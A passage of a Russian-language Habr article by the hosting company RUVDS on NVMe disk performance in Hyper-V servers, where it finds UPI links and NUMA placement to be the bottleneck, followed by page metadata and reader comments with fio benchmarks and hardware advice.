</td> <td> <br/> <p>597662.21</p><br/> </td> <td> <br/> <p>783532.95 (+ 30 %)</p><br/> </td> </tr> </tbody> </table></div><b><font color="#3AC1EF">Пропускная способность MiB/s:</font></b><br/> <p> </p><div class="scrollable-table"><table> <tbody> <tr> <td> <br/> <p>Write (Percent)</p><br/> </td> <td> <br/> <p>Win2016 — MiB/s — 128K block</p><br/> </td> <td> <br/> <p>Win2019 — MiB/s — 128K block</p><br/> </td> </tr> <tr> <td> <br/> <p>0 (read)</p><br/> </td> <td> <br/> <p>5688.68</p><br/> </td> <td> <br/> <p>5035.62 ( — 11 %)</p><br/> </td> </tr> <tr> <td> <br/> <p>100 (write)</p><br/> </td> <td> <br/> <p>3843.31</p><br/> </td> <td> <br/> <p>3615.85 ( — 6 %)</p><br/> </td> </tr> </tbody> </table></div>Видно, что под Win2019 — несколько большее количество IOPS, но меньшая пропускная способность.<br/> <br/> <h3><font color="#3AC1EF">▍ Итоги:</font></h3><br/> Сравним количество IOPS при обмене без UPI и через UPI.<br/> <br/> <b><font color="#3AC1EF">Windows Server 2016:</font></b><br/> <p> </p><div class="scrollable-table"><table> <tbody> <tr> <td> <br/> <p>Write (Percent)</p><br/> </td> <td> <br/> <p>Без UPI — IOPS </p><br/> </td> <td> <br/> <p>Через UPI — IOPS</p><br/> </td> </tr> <tr> <td> <br/> <p>0 (read)</p><br/> </td> <td> <br/> <p>1132231.01</p><br/> </td> <td> <br/> <p>530662.74 ( — 53 %)</p><br/> </td> </tr> <tr> <td> <br/> <p>100 (write)</p><br/> </td> <td> <br/> <p>863745.10</p><br/> </td> <td> <br/> <p>597662.21 ( — 31 %)</p><br/> </td> </tr> </tbody> </table></div><b><font color="#3AC1EF">Windows Server 2019:</font></b><br/> <p> </p><div class="scrollable-table"><table> <tbody> <tr> <td> <br/> <p>Write (Percent)</p><br/> </td> <td> <br/> <p>Без UPI — IOPS </p><br/> </td> <td> <br/> <p>Через UPI — IOPS</p><br/> </td> </tr> <tr> <td> <br/> <p>0 (read)</p><br/> </td> <td> <br/> <p>1026432.57</p><br/> </td> <td> <br/> <p>599021.15 ( — 41 %)</p><br/> </td> </tr> <tr> <td> <br/> <p>100 (write)</p><br/> </td> <td> <br/> <p>953902.69</p><br/> </td> <td> <br/> <p>783532.95 ( — 18 %)</p><br/> </td> </tr> </tbody> </table></div>Та-дам! Результаты наглядно демонстрируют, что пропускная способность <b>UPI</b>-линий может стать узким местом при использовании <b>NVME</b>.<br/> <br/> <h2><font color="#3AC1EF">Что всё это значит?</font></h2><br/> Что все врут. <br/> <br/> Как только мы начали распределять виртуалки по NUMA-нодам, внезапно всё заработало с нужной скоростью. Причём, кстати, под 2016-й винсервер иногда лучше, чем под 2019-й, так что если вы сейчас решаете, жить на уходящей с поддержки версии или сразу мигрировать на модное и современное, то это ещё один довод в обсуждение. Скорее всего, дело просто в том, что MS сдвинули баланс r/w где-то на уровне драйверов или рядом. <br/> <br/> Так вот, по умолчанию виртуалки распределяются по NUMA-нодам в хаотичном порядке. Это значит, что UPI-линии используются для связи железа между нодами, в частности, с теми самыми NVMe-дисками. И могут стать узким местом. <br/> <br/> Те хостеры, которые используют NVMe и не дописали свой софт так, чтобы создавать виртуалки в рамках одной NUMA-ноды, а не вперехлёст по железу, скорее всего, остановились на однопроцессорных серверах. На них всё «из коробки» будет работать с прогнозируемой скоростью. Там нет UPI вообще. <br/> <br/> Относительно RAID-массивов — решения всё ещё нет. Удивительно, но рабочего рейда пока найти не удалось, хотя NVMe — всё же не вчерашняя технология. Те, кто пишет про RAID, либо банально врут, либо замедляют скорость чуть ли не ниже SSD, что исключает полезность NVMe-дисков. Мы решили делать полный технический бекап диска раз в сутки, и если что — автоматически восстанавливать из него при вылете NVMe-диска. Увы, но автоматических ребилдов, как на SSD, когда пользователь VDS этого даже не замечает, пока не будет (и в ближайшем будущем — тоже). Нам добавится работы при восстановлении при аварии. Точнее, нашим скриптам. <br/> <br/> С новым распределением по NUMA-нодам результаты производительности NVMe у нас полностью в рынке. Тарифы — на бою, цены — хорошие. <a href="https://ruvds.com/drive/">Посмотреть можно тут</a>. Мы очень постарались, чтобы вы платили за реальную производительность, а не наклейку «NVMe» на тарифе. <br/> <br/> Корпоративное железо приехало и выглядит вот так:<br/> <br/> <img src="https://habrastorage.org/r/w780q1/webt/6j/fk/ai/6jfkaisdvxalqssy5o7uu0dshka.jpeg" data-src="https://habrastorage.org/webt/6j/fk/ai/6jfkaisdvxalqssy5o7uu0dshka.jpeg" data-blurred="true"/><br/> <br/> <img src="https://habrastorage.org/r/w780q1/webt/ix/yh/r4/ixyhr4ak58iybdbvu7fws9kzey4.jpeg" data-src="https://habrastorage.org/webt/ix/yh/r4/ixyhr4ak58iybdbvu7fws9kzey4.jpeg" data-blurred="true"/><br/> <br/> <img src="https://habrastorage.org/r/w780q1/webt/mc/nt/0u/mcnt0u732gwzpo5yj0bnyylfmwm.jpeg" data-src="https://habrastorage.org/webt/mc/nt/0u/mcnt0u732gwzpo5yj0bnyylfmwm.jpeg" data-blurred="true"/><br/> <br/> В этих серверах Lenovo SR650 V2 не две, а три UPI-линии. Возможно, наши танцы с бубном будут не нужны, так как мы надеемся, что дополнительная UPI-линия может убрать необходимость разделять виртуалки по NUMA-нодам. <br/> <br/> <b><font color="#3AC1EF">Итого:</font></b> если вы можете настраивать использование <b>NUMA</b>-нод в сервере с NVMe — лучше настроить. Если бы мы использовали KVM, то это всё завелось бы куда легче, дело отчасти — в реализации виртуализации (распределении ресурсов машин). Hyper-V изначально не имел возможности распределения виртуальных машин по NUMA-нодам, но в конечном счёте они выпустили специальную утилиту <a href="https://docs.microsoft.com/en-us/windows-server/virtualization/hyper-v/manage/manage-hyper-v-cpugroups">CpuGroups.exe</a>. При её использовании можно получить измеримый эффект ускорения при использовании NVME-дисков.</div>
Никита Цаплин (ntsaplin)
null
null
Напомню: когда мы решили ввести тарифы на VDS на машинах с NVMe-дисками, то <a href="https://habr.com/ru/company/ruvds/blog/560404/">очень удивились</a> тому, что они несильно лучше SSD. Второй неожиданностью была практическая невозможность собрать из таких дисков рейд-массив, то есть при вылете диска нужно будет не ребилдить массив прозрачно для пользователя, а выкатывать бекап. <br> <br> Прозвучала мысль, что мы кривые ламеры и не умеем всё правильно готовить. Альтернативой была гипотеза «все врут». <br> <br> Прошло полгода. Мы научились всё это готовить, но заодно поняли, что гипотеза «все врут» куда более вероятная. <br> <br> <a href="https://habr.com/ru/company/ruvds/blog/598357/"><img src="https://habrastorage.org/webt/ag/si/ay/agsiayv9nd8fne9ek_krj29_brm.jpeg"></a><br> <i><font color="#999999">Тут видно, что RAM подключена к CPU1, а NVME-диски — к CPU2. Это будет критически важно дальше по сюжету.</font></i><br> <br> В общем, сейчас расскажу, чего именно нам стоило ввести нормальные NVMe-тарифы и почему при всём этом очень важно разбираться в архитектуре сервера. <br>
Напомню: когда мы решили ввести тарифы на VDS на машинах с NVMe-дисками, то очень удивились тому, что они несильно лучше SSD. Второй неожиданностью была практическая невозможность собрать из таких дисков рейд-массив, то есть при вылете диска нужно будет не ребилдить массив прозрачно для пользователя, а выкатывать бекап. Прозвучала мысль, что мы кривые ламеры и не умеем всё правильно готовить. Альтернативой была гипотеза «все врут». Прошло полгода. Мы научились всё это готовить, но заодно поняли, что гипотеза «все врут» куда более вероятная. Тут видно, что RAM подключена к CPU1, а NVME-диски — к CPU2. Это будет критически важно дальше по сюжету. В общем, сейчас расскажу, чего именно нам стоило ввести нормальные NVMe-тарифы и почему при всём этом очень важно разбираться в архитектуре сервера.
article
1,640,689,262
{ "commentsCount": 101, "favoritesCount": 78, "readingCount": 35519, "score": 79, "votesCount": 83, "votesCountPlus": 81, "votesCountMinus": 2 }
[]
[ "ruvds", "s_admin", "dwh", "pm", "hardware" ]
[ "management", "admin", "popsci" ]
[ "сервер", "NVMe-сервер", "конфигурация", "хостинг", "тестирование", "корпоративное железо", "ruvds_статьи" ]
6
null
null
{ "id": [ 23879755, 23879913, 23880187, 23880201, 23880203, 23880217, 23880221, 23880243, 23880253, 23880409, 23880555, 23880585, 23880715, 23880735, 23880779, 23880811, 23880815, 23880951, 23881343, 23881407, 23881561, 23881625, 23881745, 23881987, 23882107, 23882209, 23882391, 23882463, 23882639, 23884211, 23884217, 23884531, 23884641, 23884745, 23885293, 23885295, 23885525, 23885597, 23886129, 23886283, 23886285, 23886295, 23886345, 23886765, 23887277, 23887523, 23887915, 23888171, 23888317, 23888561, 23888989, 23889071, 23889131, 23889265, 23889657, 23889865, 23890041, 23890173, 23890179, 23890275, 23890477, 23891049, 23891339, 23891375, 23891731, 23891739, 23891759, 23891819, 23891895, 23893689, 23894741, 23894745, 23895207, 23895461, 23897467, 23899323, 23900835, 23900867, 23900921, 23901039, 23901053, 23901067, 23901857, 23906897, 23907499, 23910871, 23911217, 23911983, 23914899, 23916565, 23918025, 23920043, 23920363, 23924109, 23925169, 23925635, 23927863, 23930671, 23954955, 23955105, 23955193 ], "parent_id": [ null, null, null, null, 23879755, 23880203, 23880187, null, null, 23880217, null, 23880253, 23880555, 23880409, 23880715, null, 23880715, 23880187, 23880735, 23880715, null, 23880715, 23881343, 23880735, null, 23881561, null, 23881561, 23882463, null, null, null, null, 23884641, 23881407, null, 23881561, 23885293, 23885525, 23881987, 23886129, 23880585, 23886285, 23886283, 23886765, 23881987, 23887523, 23887915, 23888171, 23886129, 23886295, 23887277, 23888317, 23889131, 23886129, 23884641, 23884745, 23889865, 23890041, 23890179, 23888561, 23886129, 23891049, 23890477, 23891375, 23891731, 23891339, 23891759, 23890477, 23891375, 23891819, 23891739, 23894745, 23894741, 23895207, 23897467, 23887523, 23889265, 23900867, 23889131, 23900921, 23889131, 23901067, 23899323, 23906897, 23907499, 23910871, 23911217, 23911983, 23914899, 23916565, 23918025, 23920043, 23920363, 23924109, 23925169, 23925635, 23882107, 23900835, 23954955, 23955105 ], "level": [ 0, 0, 0, 0, 1, 2, 1, 0, 0, 3, 0, 1, 1, 4, 2, 0, 2, 1, 5, 2, 0, 2, 6, 5, 0, 1, 0, 1, 2, 0, 0, 0, 0, 1, 3, 0, 1, 4, 2, 6, 3, 2, 4, 7, 8, 6, 7, 8, 9, 3, 3, 9, 10, 11, 3, 1, 2, 2, 3, 4, 4, 3, 4, 5, 6, 7, 5, 6, 5, 6, 7, 8, 9, 8, 10, 11, 7, 12, 13, 11, 14, 11, 12, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 1, 8, 9, 10 ], "time_published": [ 1640689747, 1640692078, 1640695476, 1640695695, 1640695747, 1640696014, 1640696093, 1640696471, 1640696628, 1640698703, 1640700761, 1640701173, 1640702900, 1640703135, 1640703706, 1640704117, 1640704176, 1640705918, 1640713668, 1640714611, 1640717618, 1640718737, 1640720576, 1640726645, 1640731633, 1640738068, 1640752656, 1640755694, 1640759381, 1640778770, 1640778846, 1640783262, 1640784709, 1640785971, 1640796795, 1640796825, 1640801587, 1640803310, 1640820534, 1640826892, 1640826901, 1640827090, 1640828148, 1640845692, 1640853840, 1640856550, 1640860903, 1640863391, 1640864941, 1640867424, 1640874047, 1640875238, 1640876767, 1640879382, 1640889383, 1640893502, 1640897910, 1640901928, 1640901990, 1640905123, 1640916870, 1640942063, 1640946992, 1640947793, 1640956026, 1640956120, 1640956789, 1640958185, 1640959638, 1641050562, 1641089749, 1641090514, 1641116800, 1641121866, 1641159748, 1641221295, 1641253486, 1641254569, 1641256623, 1641263776, 1641265260, 1641266074, 1641288596, 1641403080, 1641415348, 1641515051, 1641539403, 1641556968, 1641648016, 1641695333, 1641732896, 1641777492, 1641795553, 1641850789, 1641888599, 1641893725, 1641924658, 1641993068, 1642496244, 1642497570, 1642498466 ], "score": [ 22, 15, 4, 3, 1, 0, 4, 0, 1, 5, 2, 1, 1, 4, 2, 0, 1, 0, 1, 0, 1, 0, 2, 3, 3, 0, 1, 1, 2, 0, 1, -1, 1, 0, 0, 0, 1, 1, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 2, 0, 0, 0, 0, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 0, 1, 0, -1, 1, -1, 0, -1, 1, -2, 1, 0, 0, 0, 0, 0, 0 ], "votes": [ 28, 15, 6, 3, 3, 2, 4, 4, 1, 5, 2, 1, 1, 4, 2, 0, 1, 0, 1, 0, 1, 0, 2, 3, 3, 2, 3, 1, 2, 0, 1, 1, 1, 0, 0, 0, 1, 1, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 2, 0, 0, 0, 0, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 2, 1, 0, 1, 1, 1, 0, 1, 1, 2, 1, 0, 0, 0, 0, 0, 0 ], "message_html": [ "<div xmlns=\"http://www.w3.org/1999/xhtml\"><blockquote><p>— Сюрприз, но NVMe-диски работают на считаные проценты лучше SSD-дисков. А мы ведь ждали совсем даже не этого. </p></blockquote><p>Используйте устройства не из низшего ценового сегмента. Интеловые DC-grade NVME накопители объективно выдают показатели, недостижимые для других шин (sas, sata). В любом из бенчмарков.</p><p>Софтрейд роняет производительность nvme, и это легко обнаружить, если собрать raid0 из 1920 ramd-disk'ов. Для двух дисков падение производительности не такое радикальное.</p><p>При тестировании nvme критически важным становится время выполнения системного вызова. Попробуйте использовать ПО с поддержкой io_uring, а ещё лучше, ОС, которая запускает ELF-файлы, а не 'е-хе'.</p><p>Перед тем, как измерять производительность nvme, проверьте, что ваши утилиты такое выдержат. null_blk - хорошее начало. Тот же fio начинает страдать на 3-4 миллионах iops'ов, а теоретический лимит имеет в 20 миллионов (на null устройстве без вызовов ядра).</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>У админов-сетевиков есть фраза \"проблема всегда в DNS\". У админов виртуализации видимо аналог - \"проблема всегда в NUMA\" :)</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><blockquote><p>Они могут чуть ли не Делл из Супермикро собрать</p></blockquote><p>Ирония в том, что делл и прочие супермикро и использует для некоторых моделей.</p><p>А про NUMA да, это штука известная. Я поэтому очень люблю супермикро за их документацию. К каждому серваку есть мануал с блоксхемой всех компонентов на материнке, что позволяет сразу оценить, где может быть ботлнек. Очень важно для любой pcie нагрузки, будь это диски или гпу. Терпеть не могу энтерпрайз этот, где толком не поймешь даже сколько у тебя райзеров pcie и каких будет. Куда уж там сколько pcie линий и откуда отведено под тот или иной порт.</p><p>Вот насчет рейда все равно не уверен. Какой-нить raid0 должен дать профит. Тут мне кажется сильно зависит от софта, т.к. pcie диски требует очень серьезной работы уже в софте, чтобы правильно раскидать потоки по ядрам, правильно шедулить запросы к дискам, минимизировать общение через интерконнект процессоров и т.д. и т.п.</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><blockquote><p>мы надеемся, что дополнительная UPI-линия может убрать необходимость разделять виртуалки по NUMA-нодам </p></blockquote><p>Очень хочется узнать результаты )</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><blockquote><p>Используйте устройства не из низшего ценового сегмента. </p></blockquote><p>У них тут как раз все ок. Если все как в прошлой статье, то они используют Intel SSD DC P4610 Series 1.6TB, 2.5in PCIe 3.1 x4, 3D2, TLC Круче уж некуда.</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>Тогда я не понимаю, как они сумели \"разогнать\" SAS/SATA до PCI-E скоростей. Вот так вот взять и выдать 3ГБ/с на sas? Не верю. Так же как и в 500к IOPS на sata (потому что при 4к блоках это 2ГБ/с).</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>По совести, у dell'а есть подробные блок-схемы именно в контексте nvme, потому что это (внезапно стало) важно. Там же написано в каких конфигурациях производительность будет ограничиваться (из-за сожительства nvme на одной линии).</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Спасибо )<br/>\r\nP.s. Перешел еще 7 лет назад на Proxmox VE (KVM). Там с numa все гораздо лучше.<br/>\r\nКому интересно <a href=\"https://forum.netgate.com/topic/163435/proxmox-ceph-zfs-pfsense-%D0%B8-%D0%B2%D1%81%D0%B5-%D0%B2%D1%81%D0%B5-%D0%B2%D1%81%D0%B5-%D1%87%D0%B0%D1%81%D1%82%D1%8C-2/\" rel=\"nofollow noopener noreferrer\">forum.netgate.com/topic/163435/proxmox-ceph-zfs-pfsense-%D0%B8-%D0%B2%D1%81%D0%B5-%D0%B2%D1%81%D0%B5-%D0%B2%D1%81%D0%B5-%D1%87%D0%B0%D1%81%D1%82%D1%8C-2</a></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>План такой. Сделать каждый нума узел одинаковым и при старте процесса пинить его на нумаузел и выдавать ближайший NVME, исключив \"по умолчанию виртуалки распределяются по NUMA-нодам в хаотичном порядке\". Попробовать поиграться с настройками SNC в биосе. SNC 2 будет в этом случае достаточно.</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Мы подключали диски к PCI-E через U.2 интерфейс, в статье это указано. Более того приведена диаграмма разводки линий материнской платы.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>А не проще использовать 1 cpu на 64 ядра, например, без плясок с бубнами?</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Настройки BIOS безусловно важны, но нам важно, чтобы виртуальная машина попала на ту NUMA-ноду, CPU которой обслуживает NVME диск, на котором расположен образ VM. В этом случае для обращения к диску виртуальной машине не потребуется задействовать UPI линии.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Не до конца понятно, какой процессор с 64 ядрами вы имеете ввиду, как правило они не подходят для нужд хостинга. <br/>\r\n<br/>\r\nIntel Xeon Phi Processor 7210 — слишком низкая частота. <br/>\r\nAMD Ryzen Threadripper 3990X Processor — слишком мало каналов памяти.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>А вы производительность виртуализации-то тестировали? Я вот с интересом наблюдал разницу в 10 раз в работе nullblk между бареметаллом и VM (при том, что nullblk вообще никаких внешних устройств не требует). latency переключения userspace/kernel у VM кратно выше, чем у BM, и чем лучше nvme, тем больше это начинает влиять.</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>AMD Epyc 7763 или 7713</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>del</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>Так threadripper и не для серверов вроде. Вот Epyc 7742 например — 8 каналов памяти <a href=\"https://www.amd.com/ru/products/cpu/amd-epyc-7742\" rel=\"nofollow noopener noreferrer\">https://www.amd.com/ru/products/cpu/amd-epyc-7742</a></p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>У IBM всё вполне разрисовано и бест практики.</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Тестировали, но там тесты другого плана. Создается множество виртуальных машин, чтобы забить сервер «под завязку». На всех ВМ одновременно запускается тест диска. После этого собирается суммарный результат со всех виртуалок. Суммарный результат будет ниже чем при тестах с хостовой машины, но не принципиально. В рамках отдельной ВМ, производительность намного ниже, чем на «бареметалле».</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>Вы как то упустили как раз то, что исходят из первой статьи вам было нужно.</p><p>Ryzen Threadripper Pro 3995WX.</p><p>64 ядра, 128 линий PCie 4 версии, 8 каналов оперативной памяти, и объем до 2ТБ.</p><p>При этом буст частота - до 4.2Ггц.</p><p>Это хоть и тредрипер, но по сути именно что серверный эпик, с апнутыми частотами. А если не нужен такой монстр - вполне вариант к примеру Ryzen Threadripper Pro 3955WX, как раз замеит два ваших 8 ядерника, базовая частота те же 3.9, буст 4.3, остальное так же что и у того что описывал выше.</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><blockquote>Те, кто пишет про RAID, либо банально врут, либо замедляют скорость чуть ли не ниже SSD, что исключает полезность NVMe-дисков.</blockquote><p>Получается Hetzner врёт? Они утверждают что у них RAID10 на хостах, диски NVMe, и судя по результатам тестирования внутри cloud-серверов, похоже таки на правду (fio на самом дешёвом cloud server, CX11, ему уже несколько лет):</p><br/>\r\n<pre><code class=\"plaintext\"># fio --filename=/fio.test --size=1G --direct=1 --rw=randrw --bs=1m --ioengine=libaio --iodepth=8 --iodepth_batch_submit=8 --runtime=10 --numjobs=6 --time_based --group_reporting --name=iops-test-job --eta-newline=1\n...\nRun status group 0 (all jobs):\n READ: bw=2894MiB/s (3034MB/s), 2894MiB/s-2894MiB/s (3034MB/s-3034MB/s), io=28.3GiB (30.4GB), run=10012-10012msec\n WRITE: bw=2919MiB/s (3061MB/s), 2919MiB/s-2919MiB/s (3061MB/s-3061MB/s), io=28.5GiB (30.6GB), run=10012-10012msec\n\n## А также чистая запись\n\n# fio --filename=/fio.test --size=1G --direct=1 --rw=randwrite --bs=1m --ioengine=libaio --iodepth=8 --iodepth_batch_submit=8 --runtime=10 --numjobs=6 --time_based --group_reporting --name=iops-test-job --eta-newline=1\niops-test-job: (g=0): rw=randwrite, bs=(R) 1024KiB-1024KiB, (W) 1024KiB-1024KiB, (T) 1024KiB-1024KiB, ioengine=libaio, iodepth=8\n...\nRun status group 0 (all jobs):\n WRITE: bw=4560MiB/s (4781MB/s), 4560MiB/s-4560MiB/s (4781MB/s-4781MB/s), io=44.6GiB (47.8GB), run=10008-10008msec\n</code></pre><br/>\r\n<p>В процессе тестирования использование процессора (vCPU, он там один) около 60%.</p><br/>\r\n<p>По любому быстрее чем обычный SSD — в разы. Результаты стабильные за все несколько лет, и не только на одном сервере, разумеется, и это с учётом того что на одном хосте крутится явно не один виртуальный.</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>EPYC 7662 </p><p>// Простите, не разглядел, что у вас всего 16 ядер на сервер</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>Тогда я не понимаю с какой sas/sata SSD вы сумели 500000 IOPS получить, чтобы жаловаться, что \"единицы процентов по сравнению с обычными SSD\".</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>NVMe вроде хвалят за низкую латентность. Если ядро часто переключает контекст и латентность переключения много больше NVMe, то подозреваю, что наоборот, разница между SATA SSD и NVMe будет труднее обнаружить.<br/><br/>Кстати, вот пример сравнения Baremetal <a href=\"https://elibsystem.ru/node/503\" rel=\"noopener noreferrer nofollow\">https://elibsystem.ru/node/503</a> с Hyper-V, KVM на SATA SSD c древним контроллером, но и там довольно хорошо видна сильная зависимость производительности от гипервизора.</p><figure class=\"full-width \"><img src=\"https://habrastorage.org/r/w1560/getpro/habr/upload_files/0b5/a75/170/0b5a751700a892b90b2aed316453c7d9.png\" width=\"1551\" height=\"492\" data-src=\"https://habrastorage.org/getpro/habr/upload_files/0b5/a75/170/0b5a751700a892b90b2aed316453c7d9.png\"/><figcaption></figcaption></figure><p>Вообще надо понять что тестировать-то хочется.</p><p>Абстрактную производительность NVMe? Производительность NVMe в Hyper-V в одиночной ВМ (не убивает ли оверхед Hyper-V низкую задержку NVMe)? Производительность NVMe при большом количестве ВМ, все из которых одновременно генерируют нагрузку по сравнению с SATA (качественное сравнение есть ли разница при большой нагрузке в условиях конкуренции кучи ВМ за CPU и NVMe)? Во всех трех случаях очевидно методика тестирования разная.</p><p>Более того, от того пишутся ли данные синхронно или последовательно тоже результаты бенчмарка зависят, а тут сюрприз, SSD часто нужны для баз данных, а РСУБД пишут часто последовательно (потому-что в журнал) малым количеством потоков с частыми fsync. Т.е. базы данных даже близко не выдают максимально возможные IOPS-ы на запись.</p><p>Дальше надо понимать, что NVMe хороши низкой задержкой. Но! Но когда 100500 ВМ генерируют параллельно нагрузку и утилизируют SSD в полку, общая пропускная способность конечно будет высокой (у SSD чем больше одновременных потоков - тем больше IOPS и мегабайт), но вот задержки начнут сильно нарастать, а в статье задержки вообще не представлены! Т.е. при миллионе IOPS задержки какие? Вот для примера <a href=\"https://www.intel.com/content/dam/www/public/us/en/documents/white-papers/performance-pcie-nvme-enterprise-ssds-white-paper.pdf\" rel=\"noopener noreferrer nofollow\">про латентность от Intel</a>:</p><figure class=\"full-width \"><img src=\"https://habrastorage.org/r/w1560/getpro/habr/upload_files/61a/985/03a/61a98503a13a954194d2a734ba41f263.png\" width=\"619\" height=\"361\" data-src=\"https://habrastorage.org/getpro/habr/upload_files/61a/985/03a/61a98503a13a954194d2a734ba41f263.png\"/><figcaption></figcaption></figure><p>Поэтому зная, что все зависит от всего (производительность от нагрузки случайная/последовательная, размера кластера, как часто fsync шлется, размера очереди, конкуренции за CPU множества ВМ, драйверов, ФС, гипервизора, writeback, способности ВМ читать из ОЗУ вместо диска из-за виртуализации и т.д.) надо, ну если хочется во всех этих аспектах посмотреть что происходит, делать не один тест, а на каждую из задач по тесту.</p><p>Естественно, синтетика с большим количеством очередей может совершенно не походить по профилю нагрузки на поведение баз данных. Так что логично поинтересоваться у клиентов какие базы гонять собираются и побенчмаркать базы на NVMe/SATA и посмотреть, есть ли разница. Естественно начинаются приколы, что SATA будет контроллер использовать и он тоже может и свои настройки иметь и задеркжи и т.д.</p><p>Итого: непростое это дело производительность дисковой подсистемы измерять!</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Я правильно понял, что у вас для виртуализации Hyper-V используется? Это только часть виртуалок крутиться в нем или весь хостинг на нем построен?<br/>\r\n<br/>\r\nЕсли последнее, то можете рассказать по причинах/приемуществах его использования? В особеннности интересует окупаемость лицензий.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>Причина скорее всего в том, что в качестве технологии виртуализации хетцнер использует KVM, а статья о hiper-v. Субьективно никогда не нравился hiper-v, как и <strong>многие</strong> другие проприетарные решения.</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>не подумать о numa это прям проблема новичка, в любом хостере админы очень быстро натыкаются на это неочень но узкое горлышко, я на первых строках статьи уже подумал об этом.. как то вы долго доходили</p><p>мы когда ceph тюнили до 100гигвсек быстро нащупали numa, задолго до того как достигли желаемых результатов</p><p>и второй момент: виндовый жиперви, сириусли?!?!?!?</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>1 ГБ - очень мало. Лучше файл делать больше.</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>Если там стоит аппаратный контроллер с writeback, есть вероятность, что все записанные данные уместились в его ОЗУ и это тест скорости ОЗУ контроллера.</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>Блин, даже энтепрайзные нвмешки время от времени вылетают. А поднимать данные с бэкапа, даже на нвме дикий даунтайм.</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>Если вы упёрлись в линии чипсета, почему нельзя воткнуть nvme через переходник PCI-E x16 слот? Тем паче, что в переходниках часто и аппаратный рейд может быть на борту.</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>вам было бы полезно почитать про современные линуксовые io-шедьюлеры. там подробно объясняется даже что важен сокет, в котором обратаывается прерывание.</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>Я недавно сделал небольшой тест производительности нескольких конфигураций software raid nvm и Sata SSD, на похожем железе</p><figure class=\"full-width \"><img src=\"https://habrastorage.org/r/w1560/getpro/habr/upload_files/dde/44e/259/dde44e2595a08bd157b774e9a2a8adda.png\" alt=\"Стандартный mdadm\" title=\"Стандартный mdadm\" width=\"1500\" height=\"700\" data-src=\"https://habrastorage.org/getpro/habr/upload_files/dde/44e/259/dde44e2595a08bd157b774e9a2a8adda.png\"/><figcaption>Стандартный mdadm</figcaption></figure><figure class=\"full-width \"><img src=\"https://habrastorage.org/r/w1560/getpro/habr/upload_files/601/e8b/35c/601e8b35c7ba6bae97e983a677037760.png\" alt=\"Сравнение с zfs\" title=\"Сравнение с zfs\" width=\"1500\" height=\"700\" data-src=\"https://habrastorage.org/getpro/habr/upload_files/601/e8b/35c/601e8b35c7ba6bae97e983a677037760.png\"/><figcaption>Сравнение с zfs</figcaption></figure><p>Правда, есть подозрение что на той версии zfs что у меня была флаг O_DIRECT типа продолжается, но не честно.</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>Второй график неправильный</p><figure class=\"full-width \"><img src=\"https://habrastorage.org/r/w1560/getpro/habr/upload_files/b70/882/93b/b7088293b5c35b535ff19ad450ccbc47.png\" width=\"1500\" height=\"700\" data-src=\"https://habrastorage.org/getpro/habr/upload_files/b70/882/93b/b7088293b5c35b535ff19ad450ccbc47.png\"/><figcaption></figcaption></figure></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>И чем TDP с него снимать в условном 1u корпусе? Там же явно за 250+ уходит</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>Не встречал подобного опыта что обнаружил я - как ведут себя различные фс на программном рейде 1, 10, 5, 6 из nvme дисков (про аппаратный даже и говорить не стоит, там никакая производительность), так вот - на ext4 производительность в любом рейде только падала по сравнению даже с 1 диском, в то же время на xfs почти что кратно количеству дисков в массиве возрастала. Тестил на серверах amd epyc rome 2 с кучами u.2 nvme дисков.</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>А чего вы там за 10 сек намеряете то? Уберите параметр --runtime=10, дайте тесту поработать на объём выше объёма кеша. На полный прогон теста на 100%. Результаты могут оказаться совсем не теми, что вы ожидаете.</p><p>Вот этот тест на 1МБ блок, это совсем не то кстати, что у вас в продуктиве происходит. Выглядит как маркетинг для консамерского рынка.</p><p>Блок на 4КВ лучше выставить наверное. Это будет типичный блок. А с 1М блоком тест закончится не успев 